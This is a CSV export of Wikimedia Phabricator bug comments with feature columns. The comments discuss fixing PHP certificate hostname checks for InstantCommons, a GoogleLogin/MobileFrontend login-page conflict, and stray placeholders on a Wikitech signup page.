+https://bugzilla.wikimedia.org/show_bug.cgi?id=68581",Medium,50.0,1415549880,1441933162.0,PHID-USER-2nopae2cxuamwcbndaih,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_description,resolved,True,c3,1,False,False,True,-34,True,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+525362,PhpHttpRequest should not check host against CN x509 attribute,"Change 234927 merged by jenkins-bot:
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/234927]]",,,1441991273,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525351,PhpHttpRequest should not check host against CN x509 attribute,"Change 234926 merged by jenkins-bot:
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/234926]]",,,1441990886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525345,PhpHttpRequest should not check host against CN x509 attribute,"Change 234928 merged by jenkins-bot:
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/234928]]",,,1441990710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+517447,PhpHttpRequest should not check host against CN x509 attribute,"Change 234928 had a related patch set uploaded (by Gergő Tisza):
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/234928]]
+",,,1440981370,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517446,PhpHttpRequest should not check host against CN x509 attribute,"Change 234927 had a related patch set uploaded (by Gergő Tisza):
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/234927]]
+",,,1440981349,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517445,PhpHttpRequest should not check host against CN x509 attribute,"Change 234926 had a related patch set uploaded (by Gergő Tisza):
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/234926]]
+",,,1440981325,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517444,PhpHttpRequest should not check host against CN x509 attribute,"Change 222086 merged by jenkins-bot:
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/222086]]",,,1440980926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+517243,PhpHttpRequest should not check host against CN x509 attribute,"> I have no information on what the relative install rate of php5-curl is on various popular web hosts, so I have no idea how worth it it is.
+
+Which is kinda sad; we should have that kind of information. Maybe T56425 could be used to collect status of optional dependencies.",,,1440899220,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+514845,PhpHttpRequest should not check host against CN x509 attribute,Is this ready to merge? into upcoming point releases?  we're basically way overdue for giving up on clients that can't do basic HTTPS...,,,1440592189,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+485951,PhpHttpRequest should not check host against CN x509 attribute,"For completeness here (I spoke about it in the gerrit patch), I was wrong about the resolution for PHP 5.5.6: peer_name is not recognized and the domain name check is silently ignored (so not a secure connection since there is no complete cert checking).",,,1435877915,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+485410,PhpHttpRequest should not check host against CN x509 attribute,"I aggree php-curl is really better than PHP on this case, but, on Debian at least, it is not installed by default so these two patches for PhpHttpRequest can save some users from wondering why InstantCommons doesn’t work, and possibly they are mandatory for some shared hosting (I have no hard data on installation rate).
+
+I also dived into PHP source and also didn’t find the option peer_name before 5.6. I studied the part in 5.6 and I comment this on the gerrit page.",,,1435822266,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,0,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,1,0
+485382,PhpHttpRequest should not check host against CN x509 attribute,"> I tested peer_name with PHP 5.5.6 and it works correctly
+
+Did you check that it correctly validates certificates, or does it just let anything through (Prior to the introduction of ""peer_name"", php just silently ignores that setting, and if CN_match is not set, will consider all certs valid)
+
+When I do git grep --text peer_name php-5.5.7 on the php source (There doesn't seem to be a tag for 5.5.6), I don't get any results. I only start getting results in php-5.6.0, which makes me think the feature is not available until then",,,1435818365,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,True,,,0,True,1,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+485240,PhpHttpRequest should not check host against CN x509 attribute,"Well we don't require either http(s) fopen or php-curl support to install, as making http requests is sufficiently a side feature that its ok if it doesn't work.
+
+Personally I'd like instantcommons to work with as many configurations as possible, as its a feature often used by people who are relatively inexperianced (I think, I have no hard data on that). I have no information on what the relative install rate of php5-curl is on various popular web hosts, so I have no idea how worth it it is.
+
+I'm definitely supportive of having the installer recommend to people to use php5-curl
+
+>>! In T75199#1416995, @BBlack wrote:
+> Also, note that we're nowhere near the bottom of the pile of problems these things are going to cause us eventually with completing all the corner-cases of the transition ... https://gerrit.wikimedia.org/r/#/c/221974/
+
+Perhaps, but from the perspective of just enough features to make it work for the common case, this is probably fine.",,,1435790107,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1
+484859,PhpHttpRequest should not check host against CN x509 attribute,"Also, note that we're nowhere near the bottom of the pile of problems these things are going to cause us eventually with completing all the corner-cases of the transition ... https://gerrit.wikimedia.org/r/#/c/221974/",,,1435751706,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0
+484858,PhpHttpRequest should not check host against CN x509 attribute,"Forgive my ignorance of the nuances of the PHP ecosystem, but if php-curl is what is required for PHP (a language that's all about HTTP-based things) to have a sane HTTP[S] implementation available, why is it that we can't absolutely require the installation of php-curl as a pre-requisite?  And why on earth do we try to work around this by shipping a forked pure-PHP implementation of our own in the first place? :/",,,1435751632,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+484809,PhpHttpRequest should not check host against CN x509 attribute,"Change 222086 had a related patch set uploaded (by Brian Wolff):
+Workaround fopen lack of SubjectAltName support for instantCommons
+
+[[https://gerrit.wikimedia.org/r/222086]]
+",,,1435742686,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+484760,PhpHttpRequest should not check host against CN x509 attribute,"I gave the source for php 5.3.4 a very quick look. Its possible I missed something, but appears peer_name option is not there :(
+
+I suspect that 5.6 is the first version it works based on other options that are listed as being added at that time
+
+php sucks :'(",,,1435735140,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+484753,PhpHttpRequest should not check host against CN x509 attribute,">>! In T75199#1416274, @Seb35 wrote:
+> According to https://secure.php.net/manual/en/context.ssl.php SNI is supported since PHP 5.3.2, so there shouldn’t be any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates.
+
+We used to send per-domain certs with SNI, so commons would get one that had a CN of *.wikimedia.org, but looks like we don't anymore due to c02fab71422a490dbdcf (ping @BBlack)",,,1435733946,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+484692,PhpHttpRequest should not check host against CN x509 attribute,"According to https://secure.php.net/manual/en/context.ssl.php SNI is supported since PHP 5.3.2, so there shouldn’t be any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates.",,,1435711185,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+484690,PhpHttpRequest should not check host against CN x509 attribute,"According to https://secure.php.net/manual/en/context.ssl.php SNI is supported since PHP 5.3.2, so there shouldn’t any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates.",,,1435711128,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+484685,PhpHttpRequest should not check host against CN x509 attribute,Hmm. Does fopen not support sni?,,,1435710464,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+484666,PhpHttpRequest should not check host against CN x509 attribute,"This can be solved by changing the options given to stream_context_create in PhpHttpRequest::execute from CN_match to peer_name (see https://secure.php.net/manual/en/context.ssl.php). But I still didn’t find the PHP versions where one or the other can be used; from PHP 5.6 CN_match becomes deprecated -- minimum PHP version for MediaWiki is currently 5.3.3.
+
+I tested peer_name with PHP 5.5.6 and it works correctly (assuming T75203 is solved <=> a capath is set).",,,1435708892,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+332148,PhpHttpRequest should not check host against CN x509 attribute,Adding this as a (soft) blocker of bug 53131 since it will lead to problems for people without CURL.,,,1415550283,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+74909,Login link redirect to default login (with MobileFrontend),"**Author:** `tim.schenk`
+
+**Description:**
+The link supplied by the mobile page redirects to :
+http://wiki.firstconsulting.nl/Speciaal:Aanmelden <-- dutch 
+
+This is the default login page and not the special GoogleLogin page. 
+In my LocalSetting.php I have:
+$wgGLReplaceMWLogin = true;
+
+Is this a GoogleLogin bug, or a MobileFrontend bug?
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1415031660,1418170591.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_description,invalid,True,c3,1,False,False,True,-35,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+398857,Login link redirect to default login (with MobileFrontend),"@Jdlrobson: in general: yes :) But i thought, that we can let this task open as a ""Blocks"" for T74910?",,,1421152638,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0
+340174,Login link redirect to default login (with MobileFrontend),Looks like Florian's advice fixed it? :),,,1418170591,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+331981,Login link redirect to default login (with MobileFrontend),":/ MediaWiki.org links seems not to work:
+https://www.mediawiki.org/wiki/Extension:GoogleLogin#MobileFrontend_.3C-.3E_GoogleLogin_conflict_.28only_with_.24wgGLReplaceMWLogin_.3D_true.21.29",,,1415047942,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+331979,Login link redirect to default login (with MobileFrontend),"Thanks for confirm this :)
+
+Added the info to the Extension page: [[Extension:GoogleLogin#MobileFrontend_.3C-.3E_GoogleLogin_conflict_.28only_with_.24wgGLReplaceMWLogin_.3D_true.21.29]]",,,1415047878,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+331976,Login link redirect to default login (with MobileFrontend),"**tim.schenk** wrote:
+
+Florian, thanks for your help.
+Changing the order in which the extensions load solves my problem.
+
+Thanks again for the fast reply!",,,1415046994,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+331974,Login link redirect to default login (with MobileFrontend),"Actually it depends on MobileFrontend in a special way :) Both Extensions, MobileFrontend and GoogleLogin, will rewrite the handler for the Login class. GoogleLogin will do this only, if $wgGLReplaceMWLogin is set to true to prevent the vanilla LoginForm to appear.
+
+MobileFrontend was created in an early version of MediaWiki and had to replace the LoginForm, too, to fit the needs of a mobile device (it will do this every time, the user is in mobile mode).
+
+Now, the problem is, that the login page can be only one class and it wins the extension that has overwritten the key last.
+
+So, in fact, the Extension which was loaded last will provide the login screen. That means for you, as a quick fix, that you can place the ""require_once"" line of GoogleLogin somewhere _after_ the MobileFrontend ""require_once"" line. This should solve the problem for now.
+
+The best solution is, that MobileFrontend doesn't need to overwrite the login page anymore. Actually, the developer team is working on this and implemented such a feature in the alpha mode of MobileFrontend (I8f89bdaf3dc7fde104f199554b18486c30580910). It will take some time to solve this problem, but it isn't a real bug of GoogleLogin. I will create a tracking but for this in MobileFrontend :)
+
+(I will set the status of this bug to assigned and take it anyway, but the work has to be done in MobileFrontend :))
+
+P.S.: Thanks for the very detailed bug report! :)",,,1415036134,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-35,True,1,0,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+74849,Wikitech signup page displays <loginstart> and <loginend>,"[[wikitech:Special:UserLogin/signup]] contains the following text:
+
+----
+
+<loginstart> 
+
+ By creating an account in this project and/or using other wmflabs.org Services, you agree to comply with the Terms of Use for wmflabs.org. 
+
+[...]
+
+If that's not the case, ask someone to verify from a labs instance whether the shell username is taken, by issuing the command groups $username on a shell.
+
+<loginend>
+
+----
+
+The <loginstart> and <loginend> placeholders should not be visible.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Medium,50.0,1414822440,1433868248.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-ovsa4swrphzdhhychn3j,task_description,resolved,True,c3,1,True,False,True,-35,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+471556,Wikitech signup page displays <loginstart> and <loginend>,I've removed the singupstart and signupend templates.,,,1433868248,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+329572,Wikitech signup page displays <loginstart> and <loginend>,"IMHO, you can drop it.
+
+Signupstart is intended to be an extra message.
+
+If defined, it adds the following block to the code, before the #userloginForm element:
+
+    <div id=""signupstart"">Content of Signupstart message</div>
+
+The same applies for Signupend, it's added in the userloginForm, after the form and before the closing div.
+
+    <div id=""signupend"">Content of Signupend message</div>
+
+Reference: mediawiki/core, includes/templates/Usercreate.php
+
+[On a side note, feel free to open another bug to give them better names: the first is an extra introductio before the form, the second is an extra place inside the form).",,,1415482419,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1
+329568,Wikitech signup page displays <loginstart> and <loginend>,"I'm happy to fix this, but I'm with Tim -- not yet clear on what the proper solution is.",,,1415459744,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
